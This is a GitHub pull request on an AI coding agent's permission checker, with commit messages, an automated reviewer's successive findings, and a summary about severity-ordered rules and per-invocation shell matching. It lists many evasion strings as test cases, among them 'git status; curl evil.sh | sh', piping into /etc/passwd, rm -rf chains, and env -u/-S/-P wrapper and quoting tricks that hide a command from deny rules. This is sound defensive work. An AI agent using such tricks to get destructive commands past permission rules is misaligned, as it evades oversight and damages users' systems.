fix(permissions): resolve rules by severity and match shell commands per invocation - #501
Conversation
|
Preview deployment for your docs. Learn more about Mintlify Previews.
💡 Tip: Enable Workflows to automatically generate PRs for you. |
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 2e38888c32
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| // Allow / AcceptEdits / Auto all widen what may run without a | ||
| // prompt, so they are the weakest claim a rule can make. | ||
| PermissionMode::Allow | PermissionMode::AcceptEdits | PermissionMode::Auto => 0, |
There was a problem hiding this comment.
Allow, AcceptEdits, and Auto are not equally restrictive for every tool: for example, an Auto rule for Bash asks before git push, while an overlapping Allow rule executes it. Assigning all three rank 0 means the first matching rule still wins because equal ranks never replace the winner; with concatenated configuration layers, an earlier user-level Allow can therefore override a later project-level Auto, silently running a command the more restrictive rule would prompt for. Use the resolved decision for the tool/input, or give these modes distinct context-aware ordering.
AGENTS.md reference: AGENTS.md:L129-L129
Useful? React with 👍 / 👎.
| if let Some(command) = input.get("command").and_then(|v| v.as_str()) { | ||
| return matches_shell_command(pattern, command, action); |
There was a problem hiding this comment.
This branch selects shell matching solely because the payload has a command field, so Windows PowerShell rules are now parsed with the Bash grammar too. A valid PowerShell invocation such as Get-ChildItem -Path (Join-Path $env:TEMP '*') previously matched an allow pattern like Get-ChildItem*, but the Bash parser reports a subshell or parse error and the widening rule now fails closed, causing the configured allow to fall through to Ask or Deny. Pass the tool identity into this matcher and apply Bash parsing only to Bash commands; PowerShell needs its own semantics.
Useful? React with 👍 / 👎.
| Severity ordering matters because config layers *replace* the `rules` array | ||
| rather than merging it, so which rule comes first is not something you can | ||
| reliably control across `~/.config`, `.agent/settings.toml` and | ||
| `.agent/settings.local.toml`. A `deny` you wrote is never silently outranked by |
There was a problem hiding this comment.
The documentation says config layers replace the rules array, but merge_layer_contents explicitly collects rules from every layer and splices the concatenated array back into the merged config. Users relying on this text may incorrectly assume lower-layer rules disappear when defining project or local rules; update both mirrored permission pages to describe the existing extend semantics.
AGENTS.md reference: AGENTS.md:L219-L219
Useful? React with 👍 / 👎.
…per invocation Two holes in rule evaluation, both verified against the live checker. A pattern on a Bash rule was globbed against the raw command line, so anything appended to a matching prefix inherited the grant. With a rule of `pattern = "git status*", action = "allow"`: git status -> Allow git status && rm -rf /tmp/x -> Allow git status; curl evil.sh | sh -> Allow git status | tee /etc/passwd -> Allow git status $(rm -rf /tmp/y) -> Allow Rules also resolved by position, first match wins, so a deny listed after a broader allow never fired: rules = [allow Bash *, deny Bash "rm *"] rm -rf /tmp/z -> Allow Position is not something a user can control: config layers replace the rules array wholesale rather than concatenating it, so which rule comes first depends on which layer happened to define the array. The docs' own example — allow "git *" followed by deny "rm -rf *" — was exactly this shape. Rules now resolve by severity: deny > plan > ask > allow, evaluated over every matching rule. Bash patterns are matched per invocation, asymmetrically by direction. A widening action must match every invocation and refuses outright when the command contains substitution, a subshell, process substitution, redirection or a variable assignment, since the text that will actually run is not knowable at gate time. A restricting action matches when any invocation matches, and still honours a raw-text match so existing broad patterns keep catching what they caught. Adding a segment or a wrapper can therefore only cost permissions, never grant them. A universal pattern is exempt from the widening analysis: it carries no specificity for an extra segment to widen it into, and analysing it would turn `ls > out` into a prompt for someone who explicitly opted out. Docs updated — four pages documented first-match-wins.
`first_matching_rule_wins` asserted the behaviour this change removes, and its own comment described the bug: "Rule 1: deny ALL bash. This comes after, so git * still allowed." A user who wrote a blanket deny still got `git diff` executed. Rewritten as `most_restrictive_rule_wins_over_position`, which runs the same rule set in both orders so the assertion is about severity rather than luck. Added `a_lone_allow_rule_still_allows` so the new ordering cannot regress into refusing everything.
deebe12 to
f2dc769
Compare
…g by tool Review follow-ups on this branch: - Auto, AcceptEdits and Allow shared rank 0, and equal ranks keep the first match — with concatenated config layers an earlier user-level allow silently overrode a later project-level auto. The widening modes now rank Auto > AcceptEdits > Allow (still all below Ask); the shell-matching asymmetry keys off a new is_widening() instead of rank 0 so it is unaffected by the ranking change. - The Bash grammar was applied to any input with a command field, so PowerShell rules parsed PowerShell syntax as Bash — parens read as subshells and valid invocations failed closed past a configured allow. matches_input_pattern now takes the tool name and only Bash input goes through the parser; other command-carrying tools keep the raw glob match. - Docs described config layers as replacing the rules array; they concatenate. Both mirrored pages corrected.
|
@codex review — all three findings addressed in the latest push: widening modes now rank Auto > AcceptEdits > Allow (with the shell-matching asymmetry keyed off a new |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: af00e8b1e0
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| fn is_widening(action: PermissionMode) -> bool { | ||
| matches!( | ||
| action, | ||
| PermissionMode::Allow | PermissionMode::AcceptEdits | PermissionMode::Auto | ||
| ) |
There was a problem hiding this comment.
When an Auto Bash rule would prompt, classifying it as widening lets an appended invocation make that rule stop matching and exposes a broader Allow rule. For example, with Auto("git status*") before Allow("*"), git status && rm -rf /tmp/x previously matched Auto and prompted; now the Auto match fails because rm does not match, the universal Allow matches, and the whole chain executes. Match such dynamically restrictive rules on any relevant invocation before resolving their decision so adding a segment cannot grant permission.
AGENTS.md reference: AGENTS.md:L194-L194
Useful? React with 👍 / 👎.
| PermissionMode::Auto => 2, | ||
| PermissionMode::AcceptEdits => 1, |
There was a problem hiding this comment.
For a safe Bash command matched by both modes, AcceptEdits prompts while Auto allows it, so AcceptEdits is the more restrictive action. The current ordering selects Auto and executes commands such as git status despite a matching AcceptEdits rule intended to require approval; this contradicts the new most-restrictive-match semantics when concatenated layers provide both rules.
AGENTS.md reference: AGENTS.md:L194-L194
Useful? React with 👍 / 👎.
Static mode-identity ranks cannot order the widening modes: for a
provably-safe shell command AcceptEdits prompts while Auto allows,
yet for a file edit both allow — restrictiveness only exists
relative to the input. Each matching rule is now evaluated to its
effective decision for THIS tool+input and the contest is ranked
Deny > Ask > Allow.
The effective decision also selects the shell-match semantics: a
rule that would execute without a prompt makes a widening claim
(every invocation must match, unanalysable commands fail closed),
while a rule that would ask or deny matches on any invocation. That
closes the append-a-segment bypass: an Auto rule that would prompt
for 'git status && rm -rf x' no longer un-matches (every-segment)
and exposes a broader Allow('*') behind it — adding a segment can
remove permissions but never grant them.
Static restrictiveness()/is_widening() are gone; severity and
widening now derive from PermissionDecision.
|
@codex review — both follow-ups addressed by moving to effective-decision ranking (your original framing): each matching rule is evaluated to its decision for this tool+input, ranked Deny > Ask > Allow, and the widening/restrictive shell-match asymmetry now derives from that effective decision rather than the mode. Your exact scenarios are now tests: |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: ed170ddcab
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| return parsed | ||
| .map(|p| p.command_texts.iter().any(|seg| glob_match(pattern, seg))) | ||
| .unwrap_or(false); |
There was a problem hiding this comment.
With an Auto("git status*") rule followed by Allow("*"), a command such as env git status && touch marker makes Auto resolve to Ask, but this branch tests only the raw command and command_texts (env git status and touch marker). Neither matches git status*, so the blanket Allow wins and the mutation runs without a prompt. Normalize known wrappers such as env/command and recursively inspect shell payloads before performing the any-invocation match, otherwise a wrapper can expose the broader permission that this change is intended to contain.
AGENTS.md reference: AGENTS.md:L194-L194
Useful? React with 👍 / 👎.
| /// Rules resolve by **severity, not by position**: `deny` outranks | ||
| /// `ask`, which outranks `allow`. Position-ordered evaluation meant a | ||
| /// `deny` rule listed after a broad `allow` never fired at all, and | ||
| /// because config layers *replace* the `rules` array wholesale rather |
There was a problem hiding this comment.
This states the opposite of the repository's actual configuration behavior: merge_layer_contents explicitly collects every layer's permissions.rules and restores their concatenation, and permission_rules_extend_across_layers verifies that behavior. The same incorrect replacement claim also appears in the changed integration-test comment, while the public permission docs correctly say the arrays concatenate; describing the real extend semantics is important because cross-layer ordering is the reason this ranking logic exists.
Useful? React with 👍 / 👎.
env/command/nohup/setsid in front of an invocation made it invisible
to a restrictive rule's glob: with Auto("git status*") before
Allow("*"), 'env git status && touch marker' resolved Auto to Ask
but neither the raw text nor the segment texts matched the pattern,
so the un-matched rule fell away and the blanket allow ran the
mutation unprompted.
bash_parse now exposes unwrapped_invocation_texts() (wrapper chain,
flags and VAR=value assignments stripped) and the restrictive branch
of matches_shell_command matches those too. The widening side never
uses unwrapped texts, so unwrapping can only remove permissions.
Also corrects the layer-merge rationale in the check() doc comment
and the integration-test comment: layers concatenate their rules
arrays, they do not replace them.
|
@codex review — wrapper unwrapping added to the restrictive match path (your |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: ed45571f8e
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| let Some(idx) = tokens[1..] | ||
| .iter() | ||
| .position(|tok| !tok.starts_with('-') && !is_env_assignment(tok)) |
There was a problem hiding this comment.
With a restrictive Auto("git status*") rule followed by Allow("*"), env -u PATH git status && touch marker is approved without prompting: env --help documents -u, --unset=NAME (and -C, --chdir=DIR) as options taking operands, but this scan treats the first non-dash token (PATH) as the executable and produces PATH git status. The Auto rule therefore stops matching and the blanket allow fires; parse each wrapper's operand-taking options before selecting the wrapped invocation.
AGENTS.md reference: AGENTS.md:L95-L96
Useful? React with 👍 / 👎.
… wrapped command
env options that take an operand (-u/--unset, -C/--chdir, -a/--argv0,
-S/--split-string) defeated unwrapping: the scan took the first
non-dash token as the executable, so 'env -u PATH git status' produced
'PATH git status'. A restrictive Auto("git status*") rule then stopped
matching and a blanket Allow("*") behind it fired unprompted. The same
scan fed dangerous-command detection, so 'env -u PATH rm -rf /' hid rm.
strip_wrapper now parses each wrapper's options: env operand options
are consumed (attached or separate), -S/--split-string operands become
the head of the wrapped command, '--' ends option parsing, and an
unrecognized env option aborts unwrapping entirely — a wrong guess
would hand restrictive rules text that fails to match. Both
unwrapped_invocation_texts and unwrapped_head share the logic.
|
@codex review — wrapper unwrapping now parses env's operand-taking options (-u/-C/-a/-S, long forms, attached or separate, -- terminator); unknown env options abort unwrapping instead of guessing, and dangerous-command detection shares the fixed path. |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: ea5aca65f9
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| }; | ||
| return split_string_tokens(&operand, &rest[next..]); | ||
| } | ||
| _ => return None, |
There was a problem hiding this comment.
GNU Coreutils permits unambiguous long-option abbreviations, so env --deb r'm' /tmp/victim accepts --deb as --debug and executes rm. Returning None for this option prevents check_parsed_security from seeing the unquoted inner command, while the raw destructive-pattern scan also misses the quote-split rm; the previous parser skipped the option and detected the command. Recognize accepted abbreviations or keep dangerous-command unwrapping conservative instead of aborting here.
AGENTS.md reference: AGENTS.md:L100-L102
Useful? React with 👍 / 👎.
coreutils accepts any unambiguous prefix of a long option, so 'env --deb rm x' runs rm with --deb read as --debug. Treating the abbreviation as unknown aborted unwrapping, hiding the command from dangerous-command detection that the previous skip-dashes scan caught. Long options now resolve by exact name or unambiguous prefix against env's full option table. Unknown and ambiguous names still abort the unwrap: env itself rejects them at runtime, so no command executes behind them and aborting hides nothing.
|
@codex review — env long options now resolve by exact name or unambiguous coreutils-style prefix (--deb = --debug), so abbreviated options no longer abort unwrapping; only options env itself rejects (unknown/ambiguous) still bail, since no command executes behind them. Regression tests cover abbreviated unwrapping, the quote-split rm case, and ambiguous-prefix rejection. |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 214d7859a8
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if !ENV_OPERAND_SHORTS.contains(&c) { | ||
| return None; |
There was a problem hiding this comment.
On the macOS release targets, BSD env accepts -P altpath (the macOS env(1) synopsis includes [-P altpath]), but P is absent from both option lists, so this branch returns None even though the child executes. Consequently, with a restrictive rm * rule and a broader Allow("*"), env -P /bin rm victim never exposes rm to the restrictive rule and is silently allowed; the wrapper-aware destructive-command check misses it for the same reason. Handle the supported BSD operand option rather than treating it as rejected.
AGENTS.md reference: AGENTS.md:L100-L102
Useful? React with 👍 / 👎.
| /// `env -S STRING` splits STRING into the leading words of the wrapped | ||
| /// command; the remaining argv tokens follow it. | ||
| fn split_string_tokens(operand: &str, remainder: &[String]) -> Option<Vec<String>> { | ||
| let mut out: Vec<String> = operand.split_whitespace().map(str::to_string).collect(); |
There was a problem hiding this comment.
GNU env --help defines -S as processing and splitting its string, and that split honors quotes rather than behaving like split_whitespace(). For example, GNU env executes env -S "'rm' -rf /tmp/x" as rm -rf /tmp/x, while this code leaves the first token as 'rm'; both unwrapped_head() and a restrictive rm * rule therefore miss it, allowing a broader Allow("*") to execute the destructive command without prompting. Implement the env -S splitting grammar or fail the unwrap conservatively when quoting or escapes are present.
AGENTS.md reference: AGENTS.md:L100-L102
Useful? React with 👍 / 👎.
…unwrapping
Two ways a command still slipped past the unwrapper:
- BSD env (macOS targets) accepts -P altpath and -L/-U user. Absent
from the option lists, -P aborted the unwrap even though the child
executes, so 'env -P /bin rm victim' hid rm from restrictive rules
and dangerous-command detection. The operand-short list is now the
GNU+BSD union; each implementation rejects the other's options at
runtime, so consuming an operand for a foreign option never
mislocates a command that actually runs.
- env -S splits its string with quote and escape rules, not on
whitespace: env -S "'rm' -rf /tmp/x" executes rm, but the naive
split left 'rm' quoted and unmatched. split_env_s now implements
the GNU grammar (quotes, escape table, # comments, \c terminator).
${VAR} expansion aborts the unwrap - the executed words cannot be
known at gate time - and malformed sequences abort too, since env
rejects them and nothing executes behind them.
|
@codex review — env option handling now covers the GNU+BSD union of operand-taking shorts (-P/-L/-U included; each implementation rejects the other's options at runtime, so a foreign operand never mislocates a command that executes), and -S strings are split with the GNU grammar (quotes, escape table, # comments, \c) instead of whitespace; ${VAR} expansion or malformed sequences abort the unwrap. Regression tests cover env -P /bin rm victim, env -S "'rm' -rf /tmp/x", and the ${VAR} bail. |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 534b79031f
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| /// `env -S STRING` splits STRING into the leading words of the wrapped | ||
| /// command; the remaining argv tokens follow it. | ||
| fn split_string_tokens(operand: &str, remainder: &[String]) -> Option<Vec<String>> { | ||
| let mut out = split_env_s(operand)?; |
There was a problem hiding this comment.
When the -S operand is double-quoted by the shell, unwrapped_tokens first passes it through unquote_token, which incorrectly removes every backslash inside double quotes; consequently this new split receives _rm -f ... for env -S "\_rm -f /tmp/victim". Bash actually preserves \_, and GNU coreutils 9.4's documented -S grammar treats it as a word separator, so the invocation executes rm -f /tmp/victim; the parser neither unwraps it as rm nor triggers the AST destructive-command check or an explicit rm * deny rule. Preserve Bash's double-quote backslash semantics when producing the operand before applying the env grammar.
AGENTS.md reference: AGENTS.md:L100-L102
Useful? React with 👍 / 👎.
Inside double quotes bash strips a backslash only before $, backtick, double-quote or backslash; before anything else the backslash stays. unquote_token dropped every one, so 'env -S "\_rm -f /tmp/victim"' reached the -S splitter as '_rm ...' instead of '\_rm ...' - the separator was lost, the head parsed as '_rm', and both restrictive rule matching and dangerous-command detection missed the rm that actually executes. unquote_token now follows bash's double-quote rules, which also stops '"r\m"' from being misread as rm - bash runs the literal name r\m.
|
@codex review — unquote_token now follows bash's double-quote backslash rules (strip only before $, backtick, quote, backslash; preserve otherwise), so env -S "_rm -f /tmp/victim" reaches the splitter with _ intact and unwraps to rm. Regression tests cover the exploit, the unquote semantics, and the equivalent git-status permission case. |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 547ff325a6
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| fn split_string_tokens(operand: &str, remainder: &[String]) -> Option<Vec<String>> { | ||
| let mut out = split_env_s(operand)?; | ||
| out.extend_from_slice(remainder); | ||
| (!out.is_empty()).then_some(out) |
There was a problem hiding this comment.
When a restrictive rm * rule coexists with a blanket allow, env -S '-u DUMMY rm -f /tmp/victim' bypasses it because these lines return -u as the apparent wrapped-command head instead of feeding the expanded arguments back through env option parsing. GNU env -v reports this expansion as '-u' 'DUMMY' 'rm' ..., then unset: DUMMY and executing: rm; here both the rule matcher and AST destructive-command check inspect -u and miss the deletion. Re-run wrapper parsing over the expanded argument vector before identifying the command.
AGENTS.md reference: AGENTS.md:L100-L102
Useful? React with 👍 / 👎.
| 'outer: while let Some(c) = chars.next() { | ||
| match c { | ||
| ' ' | '\t' => end_word(&mut cur, &mut in_word, &mut words), |
There was a problem hiding this comment.
With an actual newline between rm and -f in env -S 'rm\n-f /tmp/victim', GNU env -v splits the operand into rm, -f, and the path and executes the deletion, but this matcher treats only space and tab as separators and produces a command head containing the newline. Consequently, an explicit rm * deny and check_parsed_security both miss the command when a broader allow applies. Treat every separator accepted by GNU env -S, including newline, as a word boundary.
AGENTS.md reference: AGENTS.md:L100-L102
Useful? React with 👍 / 👎.
| '\\' => match chars.peek() { | ||
| Some(&next @ ('$' | '`' | '"' | '\\')) => { | ||
| chars.next(); | ||
| out.push(next); | ||
| } | ||
| } | ||
| _ => out.push('\\'), |
There was a problem hiding this comment.
Bash also removes a backslash followed by a newline inside double quotes, so env -S "r\<newline>m -f /tmp/victim" passes rm -f /tmp/victim to env. This branch instead preserves the backslash, after which split_env_s rejects the sequence and wrapper analysis returns None; under a broad allow plus an rm * deny, both the permission rule and destructive-command check therefore miss the executed rm. Handle backslash-newline by consuming both characters without emitting either.
AGENTS.md reference: AGENTS.md:L100-L102
Useful? React with 👍 / 👎.
Three more ways a wrapped command escaped the unwrapper: - env -S emits further env arguments, not the command directly, so 'env -S "-u DUMMY rm -f x"' left -u as the apparent head. The split words now come back with the wrapper head prepended and re-enter option parsing on the next pass; the existing 8-iteration bound still terminates the loop. - env splits -S on any whitespace, so a newline between words hid the command inside one token. Splitting now uses is_whitespace(). - bash removes a backslash-newline continuation, inside double quotes and out; unquote_token kept the backslash, after which the -S split rejected the sequence and dropped the unwrap entirely.
|
@codex review — env -S output now re-enters option parsing (so '-u DUMMY rm ...' no longer reads -u as the command), -S splits on any whitespace including newlines, and unquote_token drops backslash-newline continuations the way bash does. Regression tests cover all three exploit strings plus the equivalent permission-rule cases. |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 834bf5565e
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| match c { | ||
| c if c.is_whitespace() => end_word(&mut cur, &mut in_word, &mut words), | ||
| '#' if !in_word => break, | ||
| '$' => return None, |
There was a problem hiding this comment.
When an -S operand contains ${VAR}, GNU env expands it before selecting the executable; for example, GNU env 9.4 executes rm -rf /tmp/x for CMD=rm env -S '${CMD} -rf /tmp/x'. Returning None here causes both unwrapped_invocation_texts and unwrapped_head to silently discard that invocation, so a deny rule matching rm * misses it and a default/broad allow can execute it; the destructive-command checks also see only env and do not flag the resulting rm -rf. Propagate an explicit unknown/unsafe result so unresolved -S expansion cannot fall through the permission and destructive-command gates.
AGENTS.md reference: AGENTS.md:L100-L102
Useful? React with 👍 / 👎.
env -S expands $VAR itself, so "CMD=rm env -S '\${CMD} -rf x'" executes
rm. Unwrapping returned the same empty result it uses for arguments
env rejects, so the invocation was silently dropped: no restrictive
rule saw rm, and a broad allow could run it unprompted.
Unwrapping is now tri-state (Tokens / Dynamic / None). Dynamic marks
'a command runs but only expansion decides which' and is distinct
from 'nothing executes behind these arguments'. The widening branch
of matches_shell_command refuses a Dynamic command outright, and
check_parsed_security reports it, so neither gate can be walked past
by hiding the executable behind an expansion.
|
@codex review — unwrapping is now tri-state: Dynamic (a command runs but only |
|
Codex Review: Didn't find any major issues. Keep it up! Reviewed commit: ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
If Codex has suggestions, it will comment; otherwise it will react with 👍. Codex can also answer questions or update the PR. Try commenting "@codex address that feedback". |
1 participant
Summary
Two holes in permission-rule evaluation. Both verified by driving the live
PermissionChecker, not by reading the code.1. An
allowpattern was globbed against the raw command linematches_input_patternpickedinput["command"]and ran a*/?glob over the whole unparsed string, so anything appended to a matching prefix inherited the grant. With one rule —tool = "Bash",pattern = "git status*",action = "allow":2. Rules resolved by position, so a
denycould be shadowedPosition is not something a user can control. Config layers replace the
rulesarray wholesale (merge_toml_valuesmerges tables, not arrays), so which rule comes first depends on which layer last defined the array — adenyin.agent/settings.local.tomlis dead if~/.configdefines any rules at all.The documented example was exactly this shape: "Auto-approve git commands" (
allow,git *) followed by "Block destructive commands" (deny,rm -rf *). Read in order, the deny is unreachable for any command starting withgit.What changed
Severity ordering. All matching rules are evaluated and the most restrictive wins:
deny>plan>ask>allow/accept_edits/auto.denyshort-circuits.Per-invocation shell matching, asymmetric by direction:
allow,accept_edits,autodeny,ask,planThe asymmetry is the safety property: adding a segment or a wrapper can only ever cost permissions, never grant them. This is the same fail-closed shape Auto mode already uses, now applied to rules.
One deliberate exemption. A universal pattern (
*) skips the widening analysis. It carries no specificity for an extra segment to widen it into, and analysing it would turnls > /tmp/outinto a prompt for someone who explicitly opted out of prompting.a_universal_allow_still_allows_everythingpins this so the exemption can't quietly rot into a hole.Ordering note
This is a prerequisite for persistent grants (D9-06/07). Remembered grants matched by raw-string prefix would convert this from a papercut into a durable vulnerability — an "always allow
git status" that survives restarts and approvesgit status && rm -rf /. Landing the matcher first is the whole point of the sequencing.Verification
New tests, each named for the property it defends:
an_allow_rule_does_not_extend_to_appended_commands— the 7 evasions above, plus an assertion thatgit statusitself is still allowed (a fix that made rules safe but useless would be its own failure)a_deny_rule_catches_a_buried_segment— deny finds its target behind&&,;,||deny_outranks_allow_regardless_of_order— asserts both orderings, so the property is about severity and not about luckask_outranks_allow_regardless_of_ordercheck_read_honours_a_buried_deny— the read path takes the same treatmentan_allow_rule_refuses_unanalysable_commands— fail-closed on assignment/redirect/subshell/substitution/process-substitutiona_universal_allow_still_allows_everythingmatches_input_patterntests now assert their result is identical in both directions, so non-shell inputs can't drift into the asymmetrycargo test --workspacegreen (1514 lib tests, +7).clippy --all-targets -- -D warningsandfmt --checkclean. Four doc pages updated — all of them documented first-match-wins.Not covered here
--permission-modehasdefault_value = "ask"and assigns unconditionally inmain.rs, so[permissions] default_modefrom config is always clobbered;"auto"is also absent from its match arms, so--permission-mode autosilently degrades to Ask. Separate bug, separate PR.Behaviour change called out for review
crates/lib/tests/permissions_integration.rs::first_matching_rule_winsasserted the old semantics, and its own comment described the hazard:// Rule 1: deny ALL bash. This comes after, so git * still allowed.A user who wrote a blanket
denystill gotgit diffexecuted. That test is replaced bymost_restrictive_rule_wins_over_position, which runs the same rule set in both orders so the assertion is about severity and not about luck, plusa_lone_allow_rule_still_allowsso the new ordering cannot regress into refusing everything.This is a real semantic change, not a test fix — flagging it explicitly rather than burying it in the diff.